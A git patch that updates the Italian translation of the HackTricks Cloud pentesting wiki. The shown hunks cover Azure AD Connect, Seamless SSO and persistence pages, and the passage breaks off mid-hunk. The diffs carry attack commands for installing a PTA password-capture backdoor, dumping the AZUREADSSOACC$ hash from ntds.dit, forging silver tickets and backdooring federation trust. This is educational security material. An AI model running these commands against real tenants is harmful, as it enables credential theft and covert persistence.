From 5dd38218dd344faf001fb313ae6ff61fd403c42e Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 00:00:08 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe --- .github/pull_request_template.md | 8 +- .gitignore | 2 - book.toml | 2 +- hacktricks-preprocessor.py | 4 +- src/README.md | 10 +- src/SUMMARY.md | 2 - .../README.md | 14 +-- .../pta-pass-through-authentication.md | 10 +- .../seamless-sso.md | 10 +- .../azure-security/az-persistence/README.md | 14 +-- .../az-persistence/az-queue-persistance.md | 4 +- .../az-persistence/az-storage-persistence.md | 4 +- .../az-persistence/az-vms-persistence.md | 4 +- .../az-blob-storage-post-exploitation.md | 2 +- .../az-file-share-post-exploitation.md | 2 +- .../az-function-apps-post-exploitation.md | 8 +- .../az-key-vault-post-exploitation.md | 4 +- .../az-servicebus-post-exploitation.md | 8 +- .../az-table-storage-post-exploitation.md | 4 +- .../az-vms-and-network-post-exploitation.md | 14 +-- .../az-authorization-privesc.md | 8 +- .../az-entraid-privesc/README.md | 14 +-- ...-conditional-access-policies-mfa-bypass.md | 54 +++++------ .../az-functions-app-privesc.md | 22 ++--- .../az-key-vault-privesc.md | 2 +- .../az-servicebus-privesc.md | 2 +- .../az-privilege-escalation/az-sql-privesc.md | 12 +-- .../az-storage-privesc.md | 16 ++-- ...az-virtual-machines-and-network-privesc.md | 14 +-- .../azure-security/az-services/az-acr.md | 4 +- .../az-services/az-app-service.md | 7 +- .../az-services/az-application-proxy.md | 8 +- .../az-automation-account/README.md | 16 ++-- .../az-state-configuration-rce.md | 8 +- .../azure-security/az-services/az-azuread.md | 30 +++--- .../az-services/az-file-shares.md | 28 +++--- .../az-services/az-function-apps.md | 56 +++++------ .../az-services/az-logic-apps.md | 4 +- ...roups-subscriptions-and-resource-groups.md | 6 +- .../az-services/az-queue-enum.md | 2 +- .../az-services/az-servicebus-enum.md | 12 +-- .../azure-security/az-services/az-sql.md | 22 ++--- .../azure-security/az-services/az-storage.md | 44 ++++----- .../az-services/az-table-storage.md | 2 +- .../azure-security/az-services/intune.md | 2 +- .../azure-security/az-services/keyvault.md | 10 +- .../azure-security/az-services/vms/README.md | 38 ++++---- .../az-services/vms/az-azure-network.md | 40 ++++---- .../README.md | 44 ++++----- .../az-oauth-apps-phishing.md | 39 ++++++-- .../digital-ocean-pentesting/README.md | 6 +- .../do-basic-information.md | 34 +++---- .../do-permissions-for-a-pentest.md | 2 +- .../do-services/do-apps.md | 6 +- .../do-services/do-container-registry.md | 4 +- .../do-services/do-databases.md | 6 +- .../do-services/do-droplets.md | 12 +-- .../do-services/do-functions.md | 8 +- .../do-services/do-images.md | 10 +- .../do-services/do-kubernetes-doks.md | 2 +- .../do-services/do-projects.md | 2 +- .../do-services/do-spaces.md | 4 +- .../do-services/do-volumes.md | 2 +- src/pentesting-cloud/gcp-security/README.md | 16 ++-- .../gcp-basic-information/README.md | 64 ++++++------- .../gcp-federation-abuse.md | 10 +- .../gcp-permissions-for-a-pentest.md | 4 +- .../gcp-api-keys-persistence.md | 4 +- .../gcp-app-engine-persistence.md | 4 +- .../gcp-artifact-registry-persistence.md | 4 +- .../gcp-bigquery-persistence.md | 2 +- .../gcp-cloud-functions-persistence.md | 6 +- .../gcp-cloud-run-persistence.md | 2 +- .../gcp-cloud-shell-persistence.md | 8 +- .../gcp-dataflow-persistence.md | 6 +- .../gcp-non-svc-persistance.md | 14 +-- .../gcp-storage-persistence.md | 2 +- .../gcp-app-engine-post-exploitation.md | 2 +- ...gcp-artifact-registry-post-exploitation.md | 2 +- .../gcp-cloud-build-post-exploitation.md | 2 +- .../gcp-cloud-functions-post-exploitation.md | 5 +- .../gcp-cloud-run-post-exploitation.md | 4 +- .../gcp-cloud-shell-post-exploitation.md | 8 +- .../gcp-cloud-sql-post-exploitation.md | 4 +- .../gcp-compute-post-exploitation.md | 2 +- .../gcp-filestore-post-exploitation.md | 2 +- .../gcp-iam-post-exploitation.md | 4 +- .../gcp-kms-post-exploitation.md | 4 +- .../gcp-logging-post-exploitation.md | 2 +- .../gcp-monitoring-post-exploitation.md | 4 +- .../gcp-pub-sub-post-exploitation.md | 2 +- .../gcp-secretmanager-post-exploitation.md | 2 +- .../gcp-security-post-exploitation.md | 4 +- .../gcp-storage-post-exploitation.md | 2 +- .../gcp-privilege-escalation/README.md | 16 ++-- .../gcp-apikeys-privesc.md | 4 +- .../gcp-appengine-privesc.md | 8 +- .../gcp-artifact-registry-privesc.md | 20 ++-- .../gcp-batch-privesc.md | 2 +- .../gcp-bigquery-privesc.md | 8 +- .../gcp-cloudbuild-privesc.md | 17 +--- .../gcp-cloudfunctions-privesc.md | 12 +-- .../gcp-cloudidentity-privesc.md | 4 +- .../gcp-cloudscheduler-privesc.md | 10 +- .../gcp-composer-privesc.md | 8 +- .../gcp-compute-privesc/README.md | 14 +-- .../gcp-add-custom-ssh-metadata.md | 8 +- .../gcp-container-privesc.md | 6 +- .../gcp-deploymentmaneger-privesc.md | 2 +- .../gcp-iam-privesc.md | 14 +-- .../gcp-kms-privesc.md | 10 +- ...local-privilege-escalation-ssh-pivoting.md | 14 +-- .../gcp-misc-perms-privesc.md | 6 +- .../gcp-network-docker-escape.md | 8 +- .../gcp-orgpolicy-privesc.md | 4 +- .../gcp-pubsub-privesc.md | 2 +- .../gcp-run-privesc.md | 4 +- .../gcp-serviceusage-privesc.md | 8 +- .../gcp-sourcerepos-privesc.md | 8 +- .../gcp-storage-privesc.md | 36 +++---- .../gcp-workflows-privesc.md | 4 +- .../gcp-services/gcp-api-keys-enum.md | 8 +- .../gcp-services/gcp-app-engine-enum.md | 20 ++-- .../gcp-artifact-registry-enum.md | 16 ++-- .../gcp-services/gcp-bigquery-enum.md | 24 ++--- .../gcp-services/gcp-bigtable-enum.md | 2 +- .../gcp-services/gcp-cloud-build-enum.md | 12 +-- .../gcp-services/gcp-cloud-functions-enum.md | 12 +-- .../gcp-services/gcp-cloud-run-enum.md | 12 +-- .../gcp-services/gcp-cloud-scheduler-enum.md | 4 +- .../gcp-services/gcp-cloud-shell-enum.md | 6 +- .../gcp-services/gcp-cloud-sql-enum.md | 26 ++--- .../gcp-services/gcp-composer-enum.md | 2 +- .../gcp-compute-instances-enum/README.md | 26 ++--- .../gcp-compute-instance.md | 40 ++++---- .../gcp-vpc-and-networking.md | 4 +- .../gcp-containers-gke-and-composer-enum.md | 10 +- .../gcp-security/gcp-services/gcp-dns-enum.md | 2 +- .../gcp-services/gcp-filestore-enum.md | 18 ++-- .../gcp-services/gcp-firebase-enum.md | 2 +- .../gcp-iam-and-org-policies-enum.md | 24 ++--- .../gcp-security/gcp-services/gcp-kms-enum.md | 10 +- .../gcp-services/gcp-logging-enum.md | 22 ++--- .../gcp-services/gcp-memorystore-enum.md | 2 +- .../gcp-security/gcp-services/gcp-pub-sub.md | 10 +- .../gcp-services/gcp-secrets-manager-enum.md | 12 +-- .../gcp-services/gcp-security-enum.md | 22 ++--- .../gcp-source-repositories-enum.md | 4 +- .../gcp-services/gcp-spanner-enum.md | 2 +- .../gcp-services/gcp-storage-enum.md | 20 ++-- .../gcp-services/gcp-workflows-enum.md | 4 +- .../gcp-to-workspace-pivoting/README.md | 32 +++---- ...cp-understanding-domain-wide-delegation.md | 4 +- .../README.md | 6 +- .../gcp-app-engine-unauthenticated-enum.md | 2 +- .../gcp-cloud-build-unauthenticated-enum.md | 6 +- .../gcp-compute-unauthenticated-enum.md | 2 +- ...principals-and-org-unauthenticated-enum.md | 12 +-- ...ource-repositories-unauthenticated-enum.md | 4 +- .../README.md | 2 +- ...gcp-public-buckets-privilege-escalation.md | 10 +- .../ibm-cloud-pentesting/README.md | 4 +- .../ibm-basic-information.md | 4 +- .../ibm-hyper-protect-virtual-server.md | 10 +- .../kubernetes-security/README.md | 28 +++--- .../README.md | 94 +++++++++---------- .../kubernetes-roles-abuse-lab.md | 10 +- .../pod-escape-privileges.md | 4 +- .../attacking-kubernetes-from-inside-a-pod.md | 46 ++++----- .../exposing-services-in-kubernetes.md | 12 +-- .../kubernetes-security/kubernetes-basics.md | 36 +++---- .../kubernetes-enumeration.md | 56 ++++++----- .../kubernetes-external-secrets-operator.md | 12 +-- .../kubernetes-hardening/README.md | 10 +- .../kubernetes-securitycontext-s.md | 22 ++--- .../kubernetes-kyverno/README.md | 2 +- .../kubernetes-kyverno-bypass.md | 6 +- .../kubernetes-namespace-escalation.md | 2 +- .../kubernetes-network-attacks.md | 12 +-- .../kubernetes-opa-gatekeeper/README.md | 4 +- .../kubernetes-opa-gatekeeper-bypass.md | 8 +- .../kubernetes-pivoting-to-clouds.md | 30 +++--- ...bernetes-role-based-access-control-rbac.md | 30 +++--- ...bernetes-validatingwebhookconfiguration.md | 4 +- .../pentesting-kubernetes-services/README.md | 10 +- ...ubelet-authentication-and-authorization.md | 32 +++---- .../openshift-pentesting/README.md | 2 +- .../openshift-basic-information.md | 8 +- .../openshift-jenkins/README.md | 20 ++-- .../openshift-jenkins-build-overrides.md | 14 +-- .../openshift-privilege-escalation/README.md | 4 +- .../openshift-missing-service-account.md | 6 +- .../openshift-scc-bypass.md | 12 +-- .../openshift-tekton.md | 4 +- .../openshift-pentesting/openshift-scc.md | 6 +- .../workspace-security/README.md | 8 +- .../gws-google-platforms-phishing/README.md | 34 +++---- .../gws-app-scripts.md | 34 +++---- .../workspace-security/gws-persistence.md | 14 +-- .../gws-post-exploitation.md | 2 +- .../README.md | 12 +-- .../gcds-google-cloud-directory-sync.md | 26 ++--- ...-google-credential-provider-for-windows.md | 53 ++++------- .../gps-google-password-sync.md | 18 ++-- .../gws-admin-directory-sync.md | 14 +-- theme/index.hbs | 1 - 206 files changed, 1236 insertions(+), 1254 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index f417a83b8..b5f286468 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,11 +1,11 @@ -You can remove this content before sending the PR: +Puoi rimuovere questo contenuto prima di inviare la PR: ## Attribution -Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale promuove un ambiente di condivisione affidabile e legale per tutti. +Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale favorisce un ambiente di condivisione affidabile e legale per tutti. ## HackTricks Training -Se stai aggiungendo in modo da poter superare l'esame di certificazione [ARTE](https://training.hacktricks.xyz/courses/arte) con 2 flag invece di 3, devi chiamare il PR `arte-`. +Se stai aggiungendo in modo da poter superare l'esame di [ARTE certification](https://training.hacktricks.xyz/courses/arte) con 2 flag invece di 3, devi chiamare la PR `arte-`. Inoltre, ricorda che le correzioni di grammatica/sintassi non saranno accettate per la riduzione dei flag dell'esame. -In ogni caso, grazie per aver contribuito a HackTricks! +In ogni caso, grazie per il tuo contributo a HackTricks! diff --git a/.gitignore b/.gitignore index 7fa947732..8d12fbb76 100644 --- a/.gitignore +++ b/.gitignore @@ -3,8 +3,6 @@ - - # General .DS_Store .AppleDouble diff --git a/book.toml b/book.toml index 4add3bde9..e3330d5e6 100644 --- a/book.toml +++ b/book.toml @@ -1,5 +1,5 @@ [book] -authors = ["Carlos Polop"] +authors = ["HackTricks Team"] language = "en" multilingual = false src = "src" diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 56a0cf0dc..37f549101 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -43,14 +43,14 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: try: dir = path.dirname(current_chapter['source_path']) logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}') chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}') diff --git a/src/README.md b/src/README.md index 9aa875119..c73e476d5 100644 --- a/src/README.md +++ b/src/README.md @@ -1,15 +1,15 @@ # HackTricks Cloud -Reading time: {{ #reading_time }} +Tempo di lettura: {{ #reading_time }} {{#include ./banners/hacktricks-training.md}}
-_I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_I loghi e le animazioni di Hacktricks sono stati progettati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Benvenuto nella pagina dove troverai ogni **trucco/tecnica/qualunque cosa relativa a CI/CD & Cloud** che ho imparato in **CTF**, **reali** ambienti **di vita**, **ricercando**, e **leggendo** ricerche e notizie. +> Benvenuto nella pagina dove troverai ogni **trucco/tecnica di hacking/qualunque cosa relativa a CI/CD & Cloud** che ho imparato in **CTF**, **reali** ambienti **di vita**, **ricercando** e **leggendo** ricerche e notizie. ### **Metodologia di Pentesting CI/CD** @@ -27,10 +27,10 @@ _I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppierna **Controllali in:** -[Valori & FAQ di HackTricks](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) +[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) ### Statistiche Github -![Statistiche Github di HackTricks Cloud](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) +![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b1d60c58..feae5163c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,5 +505,3 @@ - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index e20cfd639..c346c5d6e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -1,10 +1,10 @@ -# Az AD Connect - Hybrid Identity +# Az AD Connect - Identità Ibrida {{#include ../../../../banners/hacktricks-training.md}} -## Informazioni di base +## Informazioni di Base -L'integrazione tra **Active Directory (AD) on-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere gli ambienti cloud o on-premises: +L'integrazione tra **Active Directory (AD) On-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere gli ambienti cloud o on-premises: - **Pass-Through Authentication (PTA)**: - Possibile compromissione dell'agente sull'AD on-prem, consentendo la validazione delle password degli utenti per le connessioni Azure (da on-prem a Cloud). @@ -15,21 +15,21 @@ pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: -- Potenziale estrazione di password in chiaro di utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio. +- Potenziale estrazione delle password in chiaro degli utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio. {{#ref}} phs-password-hash-sync.md {{#endref}} - **Federation**: -- Furto della chiave privata utilizzata per la firma SAML, che consente l'impostazione di identità on-prem e cloud. +- Furto della chiave privata utilizzata per la firma SAML, che consente l'impersonificazione delle identità on-prem e cloud. {{#ref}} federation.md {{#endref}} - **Seamless SSO:** -- Furto della password dell'utente `AZUREADSSOACC`, utilizzata per firmare i biglietti Kerberos silver, consentendo l'impostazione di qualsiasi utente cloud. +- Furto della password dell'utente `AZUREADSSOACC`, utilizzata per firmare i biglietti Kerberos silver, consentendo l'impersonificazione di qualsiasi utente cloud. {{#ref}} seamless-sso.md @@ -51,7 +51,7 @@ az-default-applications.md Per ogni metodo di integrazione, viene condotta la sincronizzazione degli utenti e viene creato un account `MSOL_` nell'AD on-prem. È importante notare che sia i metodi **PHS** che **PTA** facilitano il **Seamless SSO**, consentendo l'accesso automatico per i computer Azure AD uniti al dominio on-prem. -Per verificare l'installazione di **Azure AD Connect**, è possibile utilizzare il seguente comando PowerShell, che utilizza il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect): +Per verificare l'installazione di **Azure AD Connect**, può essere utilizzato il seguente comando PowerShell, che utilizza il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect): ```powershell Get-ADSyncConnector ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index df5290dda..066de8125 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,11 +4,11 @@ ## Informazioni di base -[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'autenticazione Pass-through di Azure Active Directory (Azure AD) consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate sul cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché i tuoi utenti sono meno propensi a dimenticare come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**. +[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché i tuoi utenti sono meno propensi a dimenticare come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**. In PTA **le identità** sono **synchronize** ma **le password** **non lo sono** come in PHS. -L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud è effettuata da un **agente di autenticazione** in esecuzione su un **server on-prem** (non deve essere sul DC on-prem). +L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud avviene tramite un **agente di autenticazione** in esecuzione su un **server on-prem** (non deve essere sul DC on-prem). ### Flusso di autenticazione @@ -16,7 +16,7 @@ L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud 1. Per **accedere** l'utente viene reindirizzato a **Azure AD**, dove invia il **nome utente** e la **password** 2. Le **credenziali** sono **crittografate** e impostate in una **coda** in Azure AD -3. L'**agente di autenticazione on-prem** raccoglie le **credenziali** dalla coda e le **decrittografa**. Questo agente è chiamato **"agente di autenticazione Pass-through"** o **agente PTA.** +3. L'**agente di autenticazione on-prem** raccoglie le **credenziali** dalla coda e le **decrittografa**. Questo agente è chiamato **"Pass-through authentication agent"** o **agente PTA.** 4. L'**agente** **convalida** le credenziali contro l'**AD on-prem** e invia la **risposta** **indietro** a Azure AD che, se la risposta è positiva, **completa l'accesso** dell'utente. > [!WARNING] @@ -32,7 +32,7 @@ Install-AADIntPTASpy > [!NOTE] > Se l'**installazione fallisce**, ciò è probabilmente dovuto a [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) mancanti. -È anche possibile **vedere le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor: +È anche possibile **visualizzare le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor: ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` @@ -48,7 +48,7 @@ Questo backdoor farà: ### Cloud -> On-Prem > [!CAUTION] -> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **passaggi precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.** +> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **passaggi** **precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.** ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 52a2e611a..5a7486b79 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -4,15 +4,15 @@ ## Informazioni di base -[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **effettua automaticamente il login degli utenti quando si trovano sui loro dispositivi aziendali** connessi alla rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate sul cloud senza la necessità di componenti aggiuntivi on-premises. +[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Fondamentalmente, Azure AD Seamless SSO **effettua il login degli utenti** quando si trovano **su un PC unito a un dominio on-prem**. +Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando si trovano **su un PC unito al dominio on-prem**. È supportato sia da [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) che da [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). -Il SSO desktop utilizza **Kerberos** per l'autenticazione. Quando configurato, Azure AD Connect crea un **account computer chiamato AZUREADSSOACC`$`** in AD on-prem. La password dell'account `AZUREADSSOACC$` è **inviata in chiaro ad Azure AD** durante la configurazione. +Il SSO desktop utilizza **Kerberos** per l'autenticazione. Quando configurato, Azure AD Connect crea un **account computer chiamato AZUREADSSOACC`$`** nell'AD on-prem. La password dell'account `AZUREADSSOACC$` è **inviata in chiaro ad Azure AD** durante la configurazione. I **ticket Kerberos** sono **crittografati** utilizzando l'**NTHash (MD4)** della password e Azure AD utilizza la password inviata per decrittografare i ticket. @@ -38,7 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` -Con l'hash puoi ora **generare biglietti silver**: +Con l'hash ora puoi **generare biglietti silver**: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -104,6 +104,6 @@ python rbdel.py -u \\ -p azureadssosvc$ - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: Sono nel tuo cloud, leggo le email di tutti - hacking Azure AD tramite Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 1a88aa15f..2796efb3a 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -### Illicit Consent Grant +### Consenso Illecito -Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Azure AD. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvala se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo. +Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Azure AD. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvarla se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo. Inoltre, potresti anche accettare quell'applicazione con il tuo utente come modo per mantenere l'accesso su di essa. -### Applications and Service Principals +### Applicazioni e Principali di Servizio -Con i privilegi di Application Administrator, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente. +Con i privilegi di Amministratore dell'Applicazione, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente. È possibile **prendere di mira un'applicazione con permessi elevati** o **aggiungere una nuova applicazione** con permessi elevati. @@ -34,13 +34,13 @@ Con **privilegi DA** su AD on-prem, è possibile creare e importare **nuovi cert ```powershell New-AADIntADFSSelfSignedCertificates ``` -Poi, aggiorna le informazioni del certificato con Azure AD: +Quindi, aggiorna le informazioni del certificato con Azure AD: ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` -### Federation - Trusted Domain +### Federazione - Dominio Fidato -Con privilegi GA su un tenant, è possibile **aggiungere un nuovo dominio** (deve essere verificato), configurare il suo tipo di autenticazione come Federato e configurare il dominio per **fidarsi di un certificato specifico** (any.sts nel comando qui sotto) e dell'emittente: +Con privilegi GA su un tenant, è possibile **aggiungere un nuovo dominio** (deve essere verificato), configurare il suo tipo di autenticazione su Federato e configurare il dominio per **fidarsi di un certificato specifico** (any.sts nel comando sottostante) e dell'emittente: ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md index 1c0fd8323..b5c7313b9 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md @@ -1,8 +1,8 @@ -# Az - Persistenza dello Storage della Coda +# Az - Persistenza dello Storage Queue {{#include ../../../banners/hacktricks-training.md}} -## Coda +## Queue Per ulteriori informazioni controlla: diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index 7cc614bfb..c1192bf84 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -18,7 +18,7 @@ Per ulteriori informazioni sullo storage, controlla: ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -Queste autorizzazioni consentono all'utente di modificare le proprietà del servizio blob per la funzionalità di retention della cancellazione dei contenitori, che abilita o configura il periodo di retention per i contenitori cancellati. Queste autorizzazioni possono essere utilizzate per mantenere la persistenza e fornire una finestra di opportunità per l'attaccante di recuperare o manipolare contenitori cancellati che avrebbero dovuto essere rimossi permanentemente e accedere a informazioni sensibili. +Queste autorizzazioni consentono all'utente di modificare le proprietà del servizio blob per la funzionalità di retention della cancellazione dei contenitori, che abilita o configura il periodo di retention per i contenitori 